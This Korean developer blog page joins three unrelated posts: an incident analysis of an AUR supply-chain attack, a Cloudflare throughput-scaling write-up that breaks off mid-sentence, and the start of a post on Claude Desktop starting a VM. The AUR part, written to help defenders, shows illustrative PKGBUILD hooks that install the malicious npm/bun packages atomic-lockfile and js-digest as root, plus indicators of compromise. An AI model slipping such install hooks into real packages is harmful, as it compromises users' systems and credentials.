개발하는 TeEm0

며칠 전 Arch 쓰는 동료가 슬랙에 "내가 몇 년 전에 올려놓고 잊어버린 AUR 패키지가 누군가한테 인수됐다는 메일이 왔는데, 인수되자마자 악성 커밋이 올라왔다"는 메시지를 던졌다. 처음엔 흔한 스팸인 줄 알았는데, 파보니 408개 이상의 패키지가 엮인 꽤 큰 사건이었다. 정보 탈취기에 eBPF 루트킷까지 끼어 있는 공급망 공격이라 단순 "Arch 사용자 본인 책임이지 뭐"로 넘기기엔 결이 다르다.

이 글은 인프라/DevOps 관점에서 이번 사건을 뜯어본다. 어떻게 침투했고, PKGBUILD가 어떻게 변조됐고, 내 시스템이 감염됐는지 어떻게 확인하고, 앞으로 패키지 신뢰 체계를 어떻게 봐야 하는지까지 실무 명령어와 함께 정리한다.

1. 도입: AUR 신뢰 모델과 이번 사건이 왜 중요한가

AUR(Arch User Repository)을 한 번도 안 써본 사람을 위해 짚자면, AUR은 "패키지 바이너리 저장소"가 아니다. 본질은 PKGBUILD라는 빌드 레시피 스크립트의 git 저장소 모음이다. 공식 저장소(core, extra)와 달리 Arch 팀의 심사를 거치지 않고, 사용자가 직접 올린다. 그래서 위키 첫 화면에 빨간 경고 박스로 "사용자 저장소이며 맹목적으로 신뢰하지 말 것"이라고 박혀 있다.

문제는 여기서 끝이 아니다. AUR에는 "고아(orphan) 패키지 인수"라는 구조가 있다. 메인테이너가 손을 떼서 관리되지 않는 상태(unmaintained)로 표시되면, 누구나 그 패키지를 채택(adopt)하고 PKGBUILD 변경을 제출할 수 있다. 이번 공격자가 정확히 이 지점을 노렸다.

핵심을 요약하면 이렇다.

• 새 maintainer 계정이 신뢰받는 기존 maintainer를 사칭해 408개 이상의 (주로 고아) 패키지를 채택했다.
• 채택 직후 PKGBUILD를 변조해 정보 탈취기 + eBPF 루트킷 페이로드를 삽입했다.
• 대부분 잘 안 쓰이는 오래된 패키지지만, 범위가 408개로 넓고 루트킷까지 포함됐다는 점이 위험하다.

실무에서 이게 왜 무서운가? CI 파이프라인에서 Arch 기반 빌드 이미지를 쓰거나, 개발자 워크스테이션이 Arch라면, AUR 헬퍼(yay, paru)로 무심코 -Syu 한 번 돌린 게 곧 침해로 이어질 수 있기 때문이다. 그리고 루트킷이 들어간 이상, "패키지 지웠으니 끝"이 아니라 시스템 신뢰성 자체를 보장할 수 없는 상황이 된다.

2. 핵심: 공격이 어떻게 동작했나

침투 경로 — 사칭과 고아 패키지 인수

중요한 포인트 하나. 이번 사건은 기존 maintainer 계정이 털린 게 아니다. 원문 분석에 따르면 "알려진 maintainer 계정이 사칭된 것"이다. 즉 비슷한 이름이나 신뢰를 흉내 낸 새 계정이 고아 패키지를 줄줄이 인수했고, 기존 검증 이력과 git 히스토리를 그대로 물려받았다. 사용자 입장에서는 "오래 유지돼 온 멀쩡한 패키지"처럼 보인다는 게 함정이다.

비유하자면, 오래 비어 있던 가게 간판을 누가 슬쩍 떼고 본인 가게로 바꿔 달았는데, 손님은 예전 단골 가게인 줄 알고 그대로 들어가는 셈이다.

페이로드 삽입 — PKGBUILD의 preinstall에 npm/bun 끼워넣기

PKGBUILD는 셸 함수들로 이뤄진 빌드 스크립트다. 그 안에는 prepare(), build(), package() 같은 함수와 더불어, 설치 직전/직후에 실행되는 .install 훅(pre_install, post_install 등)을 걸 수 있다. 이 훅은 보통 root 권한으로 실행된다. 공격자는 여기에 악성 코드를 심었다.

원문에 따르면 초기 감염은 preinstall 단계에서 npm으로 악성 NPM 패키지 atomic-lockfile을 설치하게 만들었다. 이후 변형은 npm 대신 bun으로 js-digest를 설치했다. npm 기반 탐지/우회책을 비웃듯 런타임을 갈아탄 것이다.

실제 변조가 어떤 모양인지, PKGBUILD 관점에서 단순화해 보면 대략 이런 그림이다(개념 설명용 예시):

# PKGBUILD 일부 — 정상이라면 없어야 할 라인
prepare() {
  # ... 원래 빌드 준비 코드 ...
  npm install atomic-lockfile   # ← 빌드와 무관한 외부 패키지 설치
}

# 또는 .install 훅에 숨기는 형태
pre_install() {
  bun add js-digest             # ← root 권한으로 실행되는 악성 페이로드
}

핵심 위화감은 "빌드와 아무 상관 없는 npm/bun 패키지를 왜 여기서 깔지?"라는 점이다. HN 댓글에서도 지적했듯, 의존성 사슬 깊숙이 숨기지 않고 PKGBUILD에서 대놓고 npm install을 때리는 건 오히려 성의 없는 편이다. 그만큼 사람들이 PKGBUILD를 안 읽는다는 데 베팅한 공격이다.

페이로드의 정체 — 정보 탈취기 + eBPF 루트킷

설치된 악성 패키지는 두 가지를 한다. 첫째는 정보 탈취(자격 증명 등), 둘째가 진짜 골치 아픈 eBPF 루트킷이다. 원문에 명시된 침해 지표(IoC)는 다음과 같다.

• js-digest에 내장된 악성 Linux 실행 파일 SHA256: 7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316
• 의심스러운 eBPF map 이름: hidden_pids, hidden_names, hidden_inodes
• outbound Tor 트래픽으로 C2 통신하는 정황 → 모든 사용자에게 Tor 아웃바운드 차단 권고

eBPF 루트킷이 위험한 이유는, 커널 레벨에서 프로세스/파일/소켓을 숨길 수 있기 때문이다. hidden_pids 같은 map 이름에서 의도가 그대로 드러난다. 평범한 ps, ls로는 안 보이고, 일반적인 파일 스캔으로도 못 잡는다. 그래서 "패키지 지우고 자격 증명 교체하고, 루트킷 가능성 때문에 Arch 재설치를 고려하라"는 강경한 대응 권고가 나온 것이다.

3. 실무 관점: 감염 확인부터 대응까지

① 내가 영향받았는지 먼저 확인하기

제일 먼저 할 일은 "내 시스템에 영향 목록의 패키지가 설치돼 있나" 확인이다. 가장 빠른 방법은 설치된 패키지 목록과 침해 패키지 목록을 comm으로 교집합 내는 것이다. HN에서 공유된 방식이고, 외부 스크립트를 통째로 bash에 파이프하지 않아도 돼서 안전하다.

# 설치된 패키지 이름만 뽑아 정렬
pacman -Qq | sort > /tmp/installed.txt

# (침해 패키지 목록을 신뢰할 수 있는 Gist에서 받아 정렬했다고 가정)
sort affected-packages.txt > /tmp/affected.txt

# 두 목록의 교집합 = 내가 설치한 영향 패키지
comm -12 /tmp/installed.txt /tmp/affected.txt

출력 예시 — 아무것도 안 나오면 (적어도 패키지 이름 기준으로는) 일단 한숨 돌려도 된다.

$ comm -12 /tmp/installed.txt /tmp/affected.txt
$ echo $?
0

만약 걸린다면 이렇게 패키지 이름이 찍힌다.

$ comm -12 /tmp/installed.txt /tmp/affected.txt
jd-gui
toggldesktop

단, 중요한 한계가 있다. 이 방식은 "패키지가 설치됐는지"만 본다. 설치된 버전이 감염 버전인지는 확인하지 못한다. 즉, 몇 달째 yay -Syu를 안 돌렸다면 감염 커밋 이전 버전일 수 있어 운 좋게 비켜갔을 가능성이 있고, 반대로 이름만으로는 안전을 단정할 수 없다. HN의 한 사용자도 정확히 이 지점에서 "침해 2시간 전에 jd-gui-bin을 설치해서 운 좋게 피했다"고 적었다.

② eBPF 루트킷 흔적 직접 점검하기

루트킷 가능성이 있으니, eBPF map을 직접 들여다보자. bpftool로 시스템에 로드된 map 목록을 확인한다.

# bpftool이 없으면 (보통 별도 패키지)
sudo pacman -S bpf   # 패키지명은 환경에 따라 확인 필요

# 로드된 eBPF map 목록 조회
sudo bpftool map list

정상이라면 시스템/네트워크 관련 map들만 보인다. 만약 아래처럼 노골적인 이름이 보이면 빨간불이다.

$ sudo bpftool map list
12: hash  name hidden_pids  flags 0x0
        key 4B  value 4B  max_entries 4096
13: hash  name hidden_names  flags 0x0
        key 256B  value 1B  max_entries 4096
14: hash  name hidden_inodes  flags 0x0
        key 8B  value 1B  max_entries 4096

이런 map이 보인다면 시스템은 이미 신뢰할 수 없는 상태로 봐야 한다. 루트킷이 활성화돼 있으면 bpftool 출력 자체를 조작했을 가능성도 배제 못 하므로, 가능하면 외부 라이브 USB로 부팅해 오프라인 상태에서 디스크를 검사하는 게 정석이다.

③ 흔한 함정 — 실제로 마주칠 에러들

함정 1: 로캘 때문에 날짜 기반 탐지가 헛돈다. "9 Jun 이후 설치된 패키지를 찾아라" 식의 스크립트는 pacman이 날짜 로캘을 따르기 때문에, 한국어 로캘 환경에서는 매칭이 안 된다. 영어 로캘에서 짠 스크립트를 그대로 돌리면 아무것도 안 잡혀서 "난 안전하구나" 착각하기 쉽다. pacman -Qi의 Install Date 형식을 본인 환경에서 먼저 확인하자.

$ pacman -Qi jd-gui | grep -i "install"
설치한 날짜       : 2026년 06월 09일 (수) 22시 14분 03초
# ← 영어 "9 Jun 2026" 패턴으로 grep하면 절대 안 걸린다

함정 2: bpftool이 없거나 권한이 없다.

$ bpftool map list
bash: bpftool: command not found

# 설치 후 sudo 없이 돌리면
$ bpftool map list
Error: can't get next map: Operation not permitted

eBPF map 조회는 CAP_BPF/root 권한이 필요하다. 반드시 sudo로 실행해야 한다.

함정 3: 출처 불명 스크립트를 그대로 신뢰. 이번 사건 와중에 커뮤니티에서 탐지 스크립트가 우후죽순 올라왔는데, HN에서도 "이게 공식도 아닌데 어떻게 믿냐, 코드 읽어도 안전한지 판단이 안 된다"는 질문이 나왔다. 핵심 원칙은 변하지 않는다. 절대 curl ... | bash 하지 말고, 받아서 읽고, 무슨 일을 하는지 이해한 다음 실행한다. 침해 대응 스크립트랍시고 2차 페이로드를 심는 사례는 다른 생태계에서도 흔하다.

④ 감염이 확인됐을 때의 대응 순서

1. 포렌식을 위해 시스템을 먼저 보존한다. 무작정 지우지 말고 스냅샷/이미지를 떠둔다.
2. 네트워크에서 outbound Tor 트래픽을 차단한다(원문 권고). 방화벽 레벨에서 막아 C2 통신을 끊는다.
3. 모든 자격 증명을 교체한다. SSH 키, 클라우드 액세스 키, 토큰, 브라우저 저장 비밀번호까지. 정보 탈취기가 이미 긁어갔다고 가정하고 움직인다.
4. 루트킷 가능성 때문에 시스템 신뢰성을 보장할 수 없으므로, Arch 재설치를 진지하게 고려한다. HN 사용자도 archinstall로 15분 만에 복구했다고 한다.

⑤ 트레이드오프와 대안

"그럼 AUR을 아예 쓰지 말까?"는 너무 극단적이다. 현실적인 절충안은 이렇다.

• AUR 헬퍼의 diff 검토를 켜고 습관화한다. paru/yay 모두 업데이트 전 PKGBUILD 변경 diff를 보여주는 옵션이 있다. 최근 소유자가 바뀐 패키지는 특히 의심한다.
• 가능하면 -bin 대신 소스 빌드, 또는 그 반대를 상황에 맞게. 다만 이번처럼 preinstall 훅이 문제면 빌드 방식과 무관하게 당할 수 있다. 만능은 아니다.
• 격리된 환경에서 빌드/설치 테스트. 네트워크 차단한 컨테이너나 VM에서 먼저 돌려보면, preinstall에서 npm/bun이 외부로 나가려다 실패하는 것만으로도 이상을 감지할 수 있다. HN에서도 "네트워크 없는 Docker에 설치해보는 게 답 아니냐"는 의견이 나왔다.
• CI 빌드 이미지는 공식 저장소만 사용. AUR 의존성을 파이프라인에 넣지 않는 게 원칙이다. 굳이 필요하면 특정 커밋 해시에 핀하고, 매 업데이트마다 diff를 사람이 검토한다.

4. 정리: 한 줄 요약과 적용 대상

한 줄 요약: AUR의 "누구나 고아 패키지를 인수할 수 있다"는 구조가 maintainer 사칭과 결합해, PKGBUILD/install 훅에 정보 탈취기와 eBPF 루트킷을 심는 공급망 공격으로 터졌다. 패키지 이름만으로는 안전을 단정할 수 없고, 루트킷 때문에 감염 시 재설치가 정석이다.

지금 당장 확인해야 할 사람:

• 워크스테이션이 Arch이고 yay/paru로 AUR 패키지를 쓰는 모든 개발자 → 위 comm 점검과 bpftool map list를 오늘 돌려라.
• Arch 기반 CI/빌드 이미지를 운영하는 DevOps → AUR 의존성이 파이프라인에 끼어 있는지 감사하고, 빌드 환경의 outbound 트래픽을 점검하라.

안심해도 되는 사람: Arch를 안 쓰면 이번 사건의 직접 영향 대상이 아니다(원문 명시). 다만 npm/bun으로 페이로드를 끌어오는 방식 자체는 PyPI, Cargo, Docker Hub 등 모든 생태계의 공통 문제다. "우린 Arch 안 쓰니까 끝"이 아니라, 자기 스택의 패키지 신뢰 체계를 같은 시선으로 돌아보는 계기로 삼는 게 맞다.

개인적으로 이번 사건의 진짜 교훈은 "고아 패키지 인수를 최종 사용자에게 알리지 않는다"는 구조적 구멍이다. 통제권을 내려놓는 가장 쉬운 방법이 패키지를 고아로 만드는 것이고, 그게 곧 공격 표면이 됐다. AUR 팀이 채택 기능에 제한을 걸기로 한 건 늦었지만 옳은 방향이다. 장기적으로는 SLSA 같은 빌드 출처 증명, 그리고 헬퍼 단에서 "최근 소유자 변경" 경고를 띄우는 정도가 현실적인 보완책으로 보인다.

참고 자료

• AUR 패키지가 정보 탈취기와 루트킷에 감염됨 (GeekNews / 하다 원문)
• Arch Linux 공식 공지: Active AUR malicious packages incident
• Arch Wiki: Arch User Repository (상단 경고 박스 참고)
• aur-malware-check (커뮤니티 통합 점검 유틸리티, 코드 직접 검토 권장)
• Arch Linux Reproducible Builds (공식 패키지 검증 체계, 이번 AUR 사건과는 별개)
• Phoronix: Arch Linux AUR 400+ packages compromised

※ 본문의 PKGBUILD 변조 코드는 동작 원리를 설명하기 위한 개념 예시이며, 실제 악성 커밋과 1:1로 일치하지 않을 수 있다. 정확한 분석은 원문에 연결된 Preliminary analysis 문서를 확인하길 권한다.

인프라 일을 하다 보면 "처리량을 10배 올려야 한다"는 요구를 받는 순간이 온다. 보통 첫 반응은 "서버 늘려주세요"다. 그런데 Cloudflare가 Security Insights 스캔 처리량을 초당 10건에서 120건 이상으로 끌어올린 과정은 하드웨어 한 대도 안 늘리고 끝냈다. 코드와 아키텍처만 손봤다는 얘기다.

이 글은 그 원문(Dave Baxter, Cloudflare Blog)을 실무자 시선으로 다시 뜯어본 것이다. Kafka 컨슈머, Postgres 벌크 인서트, API 레이턴시 — 우리가 국내 실무에서도 매일 부딪히는 지점들이라 그대로 가져다 쓸 만한 게 많다.

1. 왜 하드웨어 증설 없이 10x를 목표로 했나

Cloudflare의 Security Insights는 모든 계정·존·DNS 레코드를 주기적으로 스캔해서 보안 오설정을 찾아준다. 문제는 두 가지였다.

• 스캔 주기가 너무 길었다. 1~2주에 한 번. 새로 생긴 보안 위험이 최대 2주간 방치된다는 뜻이다.
• 무료 플랜은 스캔이 opt-in이라 아예 스캔을 안 받는 계정이 수두룩했다.

이걸 다 커버하려면 평균 처리량을 약 10배(초당 10건 → 100건) 올려야 한다는 계산이 나왔다. 그런데 당시 시스템은 이미 부하에 허덕였다. 백로그에 수백만 이벤트가 쌓이고, API는 타임아웃 나고, 프로세스가 죽었다.

여기서 "Kafka 파티션 늘리고 DB 인스턴스 키우자"가 자연스러운 선택지였지만, Cloudflare는 그걸 마지막 수단으로 미뤘다. 이유가 현실적이다. Kafka 브로커는 다른 여러 서비스가 공유하는 자원이라, 파티션을 늘리면 브로커 자체 리소스 사용량이 올라가 옆 팀까지 영향을 받는다. 비용도 비용이지만, 공유 인프라를 함부로 건드리면 책임 범위가 넓어진다. 그래서 "코드와 구조부터 고치자"가 된 거다.

실무 포인트: 처리량 문제를 만나면 "병목이 진짜 어디인가"를 먼저 찾아라. 하드웨어 증설은 병목을 못 찾았을 때 도망치는 선택지일 때가 많다. 증설로 가린 병목은 트래픽이 더 늘면 다시 터진다.

2. 병목 탐색과 핵심 동작 원리

Kafka는 큐가 아니다 — 이게 모든 것의 출발점

먼저 구조를 보자. 스케줄러가 스캔 대상을 Kafka에 메시지로 발행하고, 그 메시지가 여러 checker(특정 자산을 스캔하는 Go 마이크로서비스)로 팬아웃된다. 각 checker는 결과를 내부 API로 보내고, API가 Postgres에 저장한다.

여기서 가장 중요한 개념. Kafka는 큐가 아니라 파티션된 이벤트 스트림이다. 한 파티션 안에서 메시지는 순서대로 소비·처리돼야 하고, 컨슈머 그룹 내에서 파티션 하나당 활성 컨슈머는 하나뿐이다.

이게 무슨 의미냐. 일반 큐(RabbitMQ 등)는 컨슈머를 늘리면 메시지를 나눠 가져가서 병렬로 처리한다. 그런데 Kafka는 파티션 수가 곧 병렬성의 상한이다. 파티션이 30개면 컨슈머는 최대 30개. 게다가 한 파티션 안에서 느린 메시지 하나가 걸리면 그 뒤 메시지들이 전부 막힌다. 이걸 head-of-line blocking이라고 한다.

비유하자면 Kafka 파티션은 단일 차선 도로다. 앞차가 느리면 뒤차가 다 막힌다. 차선(파티션)을 늘리는 게 아니라, 차 한 대가 여러 작업을 동시에 처리하게 만드는 게 Cloudflare의 접근이었다.

해법 1: 배치 소비 + goroutine 병렬 처리

순서대로 "소비"해야 한다는 제약은 있지만, "한 번에 여러 개를 소비"하는 건 막혀 있지 않다. 그래서 메시지를 배치로 가져와서 각각을 별도 goroutine으로 처리하도록 바꿨다. Go에서 이건 대략 이런 모양이 된다.

// 배치로 가져온 메시지를 goroutine으로 병렬 처리
func processBatch(ctx context.Context, msgs []Message) error {
    var wg sync.WaitGroup
    errCh := make(chan error, len(msgs))

    for _, msg := range msgs {
        wg.Add(1)
        go func(m Message) {
            defer wg.Done()
            if err := handle(ctx, m); err != nil {
                errCh <- err
            }
        }(msg)
    }

    wg.Wait()
    close(errCh)

    for err := range errCh {
        if err != nil {
            return err // 배치 중 하나라도 실패하면 재처리
        }
    }
    return nil
}

트레이드오프는 명확하다. 배치 중간에 프로세스가 죽으면 그 배치 전체를 다시 처리해야 한다(오프셋 커밋을 배치 단위로 하니까). 메모리 사용량도 약간 늘어난다. Cloudflare는 이 둘 다 감수할 만하다고 판단했다.

해법 2: 슬로우 레인 / 패스트 레인 분리

일부 checker는 메시지마다 처리 시간 편차가 극심했다. 자산이 엄청 많은 계정 하나가 몇 분~몇 시간씩 걸리는 반면, 평균은 밀리초~초 단위였다. 큰 메시지 하나가 파티션을 점유하면 작은 계정들이 줄줄이 밀린다.

해법은 단순했다. 컨슈머 그룹과 checker를 둘로 쪼갰다. '느린 레인'과 '빠른 레인'. 메시지가 느릴지 빠를지는 빠르게 판단할 수 있었고, 빠른 레인 checker가 느린 메시지를 만나면 그냥 건너뛴다. 느린 건 전용 자원을 받은 느린 레인이 처리한다.

이건 우선순위 큐를 직접 구현하는 것보다 훨씬 단순하고 운영하기 쉽다. 메시지 특성으로 "빠른지/느린지" 사전 판별이 가능하다면 레인 분리가 가성비 좋은 선택이다.

해법 3: Postgres 벌크 인서트 — N+1 round trip 제거

insight를 저장하는 API 엔드포인트가 원래 이렇게 생겼다.

for _, issue := range issues {
    _, err = tx.Exec(ctx, `INSERT INTO table ... VALUES ($1, $2, ...)
        ON CONFLICT DO UPDATE ...`, ...)
    if err != nil {
        return err
    }
}

insight 하나당 DB 왕복 한 번. 관측된 최대치가 50만 건이었으니, API 호출 한 번에 50만 번의 왕복·쿼리·트랜잭션이 발생했다. 이건 레이턴시가 낮아도 답이 없는 구조다.

처음엔 Postgres 벌크 인서트의 정석인 COPY into temp table을 썼는데, Postgres 시스템 테이블에 bloat(비대화)가 생겼다. temp table을 빈번하게 만들고 지우면 pg_class, pg_attribute 같은 카탈로그가 부풀어서 오히려 성능이 나빠진다.

그래서 하이브리드로 갔다.

• 건수가 임계값 이하면 UNNEST 사용
• 건수가 임계값 초과면 COPY 사용

UNNEST 방식은 배열을 통째로 넘겨서 한 번의 쿼리로 여러 행을 처리한다.

-- UNNEST로 여러 행을 한 번에 insert (작은 배치용)
INSERT INTO insights (account_id, zone_id, kind)
SELECT * FROM unnest(
    $1::bigint[],   -- account_id 배열
    $2::bigint[],   -- zone_id 배열
    $3::text[]      -- kind 배열
)
ON CONFLICT (account_id, zone_id, kind) DO UPDATE
    SET updated_at = now();

결과적으로 작은 배치는 밀리초, 50만 건 같은 거대한 배치는 초 단위로 처리됐다. 양쪽 다 챙긴 셈이다.

해법 4: API를 active-active에서 active-passive로

이 부분이 개인적으로 가장 무릎을 치게 만든다. API를 스케일하려는데 이상한 증상이 나타났다.

• 상당수 요청이 클라이언트 측 타임아웃
• 많은 checker가 처리 시간의 20~90%를 단 한 번의 API 호출에 소비
• 대량 스캔을 트리거하면 처리량이 처음엔 높다가 점점 떨어짐

근본 원인은 전부 레이턴시 하나였다. 주 DB는 Portland(오리건)에 있는데, API는 Portland와 Amsterdam에 active-active로 떠 있었다. 빛의 속도로도 Portland-Amsterdam 왕복은 50ms. Amsterdam API 인스턴스가 Portland DB로 쿼리를 날리면 매 쿼리가 50ms씩 더 먹는다.

그 결과 Amsterdam 인스턴스는 커넥션 풀의 커넥션을 오래 붙잡고 있게 되고, 대량 요청 상황에서 풀이 금방 고갈됐다. Portland에서 평균 10ms로 끝나던 API 호출이 Amsterdam에선 거의 3초가 걸렸다.

처리량이 점점 떨어지던 이유도 여기서 풀린다. 로드밸런서가 트래픽을 반반 나누니, 30개 파티션 중 정확히 15개(Amsterdam에 붙은 프로세스가 소비하던)가 뒤처졌다. Portland에 붙은 파티션은 빠르게 처리되고, Amsterdam에 붙은 파티션은 lag이 쌓였다.

해법은 허무할 만큼 단순했다. API를 active-passive로 전환해서 active API가 항상 주 DB를 따라가게 했다. "레이턴시 문제가 하룻밤 사이에 사라졌다"고 한다.

교훈: 멀티 리전에 앱을 active-active로 띄울 때, DB가 단일 리전에 있으면 먼 쪽 인스턴스는 모든 쿼리에 RTT를 더 문다. 커넥션 풀은 이런 상황에서 조용히 고갈된다. "앱은 멀티 리전인데 DB는 싱글 리전"인 구성이 가장 흔한 함정이다.

해법 5: 스케줄러 재설계

Kafka, DB, API를 다 고쳤는데도 문제가 남았다. 스캔이 시간상 고르게 퍼지지 않았다. Kafka 토픽은 시간 기반 retention 정책을 쓰는데, 스캔을 한꺼번에 몰아넣으면 처리되기 전에 삭제될 수 있다.

원래 스케줄러는 이런 로직이었다.

Loop forever:
  Find accounts where last_scheduled_at + scanning_frequency = now
  For each account:
    Trigger scan for account
    Trigger scan for all zones in the account
    Update last_scheduled_at = now

문제가 둘이었다. 첫째, 많은 계정의 last_scheduled_at이 비슷해서 특정 시점에 수십만 건이 몰렸다. 둘째, 존이 엄청 많은 계정이 스케줄되면 그 존 스캔이 캐스케이드로 쏟아져 Kafka 파티션을 포화시키고 작은 계정들을 밀어냈다.

세 가지로 고쳤다.

1. 존을 계정과 독립적으로 스케줄 — 존마다 자기 last_scheduled_at을 가져서 캐스케이드 제거
2. 기존 계정·존의 last_scheduled_at을 랜덤화 — 몰림 현상 해소(이때 어떤 스캔도 지연되지 않게 처리)
3. 적응형 레이트 리미팅 도입

적응형 부분이 핵심이다. 7일 주기에 5천만 계정이면 초당 약 83건으로 제한하면 7일에 고르게 퍼진다. 그런데 천만 계정이 더 늘면? 고정 레이트로는 8일이 걸려버린다. 그래서 레이트 리밋을 총 계정·존 수와 스캔 주기로 30분마다 비동기 재계산한다.

func computeRate(free, pro, biz, ent int64) rate.Limit {
    r := float64(free)/freeScanInterval.Seconds() +
        float64(pro)/proScanInterval.Seconds() +
        float64(biz)/bizScanInterval.Seconds() +
        float64(ent)/entScanInterval.Seconds()

    // 0 방어: 최소 초당 1건은 스케줄
    if r < 1 {
        r = 1
    }

    // 다운타임/스파이크 대비 버퍼
    r *= rateLimitBufferFactor
    return rate.Limit(r)
}

이렇게 하면 수백만 계정을 더 온보딩해도 제때 스캔이 돈다. "스케일에 따라 알아서 적응하는 레이트 리밋"이라는 발상이 좋다.

3. 실무 관점: 트레이드오프와 흔한 함정

흔한 함정 1: 커넥션 풀 고갈

active-passive로 안 바꿨더라도, 커넥션 풀 고갈은 멀티 리전이 아니어도 만난다. Go의 pgx 풀에서 커넥션이 모자라면 이런 류의 에러를 본다.

error: timeout: context deadline exceeded
  acquiring connection from pool

// HikariCP(Java)라면 더 명시적이다:
java.sql.SQLTransientConnectionException: HikariPool-1 - 
  Connection is not available, request timed out after 30000ms.

이 에러가 뜨면 "DB 느려서 그렇다"고 단정하기 쉬운데, 실제로는 느린 쿼리 하나가 커넥션을 오래 붙잡아서 풀이 빈다는 경우가 훨씬 많다. Cloudflare 사례처럼 레이턴시가 범인일 수도 있다. 풀 크기를 무작정 키우기 전에 "커넥션 보유 시간"부터 봐라.

흔한 함정 2: Kafka 컨슈머 lag과 리밸런싱

배치 처리로 바꾸면 한 배치 처리가 너무 길어질 때 컨슈머가 죽은 것으로 오해받아 리밸런싱이 터진다.

// 컨슈머 그룹에서 흔히 보는 로그
[Consumer] Member consumer-1 failed to heartbeat,
  removing from group. max.poll.interval.ms exceeded.
  Rebalancing...

배치 크기를 늘리거나 메시지당 처리가 무거워지면 max.poll.interval.ms 안에 다음 poll을 못 하고, 브로커가 그 컨슈머를 그룹에서 쫓아낸다. 리밸런싱이 도미노로 일어나면 처리량이 오히려 폭락한다. 배치 크기와 max.poll.interval.ms는 같이 튜닝해야 한다. lag은 다음처럼 확인한다.

$ kafka-consumer-groups.sh --bootstrap-server localhost:9092 \
    --describe --group security-insights-checker

GROUP                       TOPIC        PARTITION  CURRENT-OFFSET  LOG-END-OFFSET  LAG
security-insights-checker   scans        0          1052340         1052355         15
security-insights-checker   scans        1          984120          1284900         300780
security-insights-checker   scans        2          1050010         1050010         0

위 출력에서 파티션 1만 LAG이 30만이라면, 그 파티션을 소비하는 컨슈머가 막혀 있다는 신호다. Cloudflare 사례에선 "정확히 절반의 파티션만 lag"이 active-active 레이턴시의 결정적 단서였다. lag을 파티션별로 보는 습관이 병목 탐색의 시작이다.

흔한 함정 3: COPY로 temp table 남용

벌크 인서트 검색하면 십중팔구 "COPY 써라"가 나온다. 맞는데, 작은 배치마다 temp table을 만들고 지우면 카탈로그 bloat가 쌓인다. Cloudflare도 이걸 겪고 하이브리드로 갔다. 작은 건 UNNEST, 큰 건 COPY — 이 임계값 기반 분기가 현실적인 정답에 가깝다.

트레이드오프 정리

• 배치 + goroutine: 처리량↑, 그러나 crash 시 재처리 비용↑, 메모리↑
• 슬로우/패스트 레인: head-of-line blocking 해소, 그러나 컨슈머 그룹·인프라 2벌 운영 비용
• UNNEST/COPY 하이브리드: 양쪽 케이스 다 빠름, 그러나 코드 분기와 임계값 튜닝 필요
• active-passive: 레이턴시 일관성↑, 그러나 passive 리전은 평소 놀고 장애 시 페일오버 검증 필요

4. 정리: 누가 언제 써야 하나

한 줄 요약: 처리량 10배는 하드웨어가 아니라 병목 탐색으로 달성한다. Kafka는 큐가 아니라는 점, DB 왕복 횟수, 그리고 "앱 멀티 리전 + DB 싱글 리전"의 레이턴시 함정 — 이 셋을 점검하면 대부분의 스케일링 문제가 풀린다.

이런 사람에게 유용하다:

• Kafka 컨슈머 lag이 특정 파티션에만 쌓여서 원인을 못 찾는 사람
• 벌크 인서트 API가 건수 많을 때 타임아웃 나는 사람
• 멀티 리전에 앱을 띄웠는데 한쪽이 유독 느린 사람
• 스케줄러 기반 작업이 특정 시간에 몰려서 다운스트림을 터뜨리는 사람

실무 체크리스트:

1. 처리량 문제 → 증설 전에 병목부터 찾는다 (파티션별 lag, 쿼리 round trip 수, API 레이턴시 분포)
2. Kafka 병렬성 상한 = 파티션 수. 파티션 늘리기 전에 배치+goroutine으로 단일 컨슈머 처리량을 먼저 짠다
3. 처리 시간 편차가 크면 슬로우/패스트 레인 분리를 검토
4. 벌크 쓰기는 건수 기반으로 UNNEST/COPY 분기. COPY

며칠 전 사내 슬랙에 "내 노트북 메모리가 켜기만 해도 60% 넘게 먹는데 뭐가 문제냐"는 질문이 올라왔다. 범인은 Claude Desktop이었다. 채팅 한 줄 안 쳤는데도 Task Manager에 Vmmem 프로세스가 1.8GB를 잡아먹고 있었다. 이게 단순 버그가 아니라 데스크톱 AI 툴의 샌드박스 아키텍처가 어떻게 굴러가는지 보여주는 좋은 케이스라서, 실무 관점에서 한번 정리해본다.

1. 왜 지금 화제인가 — 채팅만 쓰는데 VM이 뜬다

이슈의 핵심은 단순하다. Claude Desktop Windows 앱이 Cowork(agent mode)를 한 번이라도 쓴 뒤로는, 그냥 채팅만 하려고 앱을 열어도 매번 Hyper-V VM을 띄운다는 거다. 재현 환경은 다음과 같이 보고됐다.

• Windows 11 Pro 25H2 (Build 26200.7840)
• Hyper-V, WSL, Docker, Windows Sandbox 전부 비활성화 상태
• 단, VirtualMachinePlatform 기능은 켜져 있음
• Core Isolation / Memory Integrity도 꺼져 있는 상태

여기서 재밌는 포인트는, 보고자가 wsl --shutdown을 쳐도 "not installed"가 나오고 Get-VM은 실패하는데도 VM이 뜬다는 점이다. 즉 사용자가 흔히 아는 Hyper-V 관리 인터페이스로는 잡히지 않는 경로로 VM을 생성한다는 뜻이다.

왜 VM을 띄우느냐 자체는 명확하다. Cowork/agent mode는 Claude가 사용자 머신에서 실제로 명령을 실행하고 파일을 건드리는 기능인데, 호스트를 직접 건드리게 하면 위험하니까 격리된 샌드박스 안에서 돌린다. MCP(Model Context Protocol) 기반 툴이 코드를 실행할 때 호스트 오염을 막으려는 설계다. 이 방향성 자체는 맞다. 문제는 채팅 전용으로 쓸 때도 VM을 미리 띄우고, 끌 방법을 안 준다는 것이다.

2. 동작 원리 — VirtualMachinePlatform과 Vmmem의 정체

먼저 용어 정리부터 하자. 현장에서 Hyper-V랑 VirtualMachinePlatform을 같은 거라고 착각하는 경우가 많은데 다르다.

• Hyper-V Platform: 전통적인 Type-1 하이퍼바이저. Get-VM, Hyper-V Manager로 관리하는 그 풀스택 가상화 기능이다.
• VirtualMachinePlatform (VMP): WSL2, Windows Sandbox, Docker Desktop 등이 쓰는 경량 유틸리티 VM 기반 기능. Hyper-V Manager에는 안 잡히지만 내부적으로는 같은 가상화 스택(vmcompute)을 쓴다.

이게 핵심이다. 보고자가 Hyper-V를 껐는데도 VM이 뜬 이유는, Claude가 Hyper-V가 아니라 VMP의 vmcompute(Host Compute Service)를 직접 트리거하기 때문이다. 보고 내용을 보면 프로세스 트리가 이렇게 나온다.

Claude Desktop
  └─ RPC interface event → vmcompute (Host Compute Service)
       └─ vmwp.exe (VM Worker Process, 부모: services.exe)
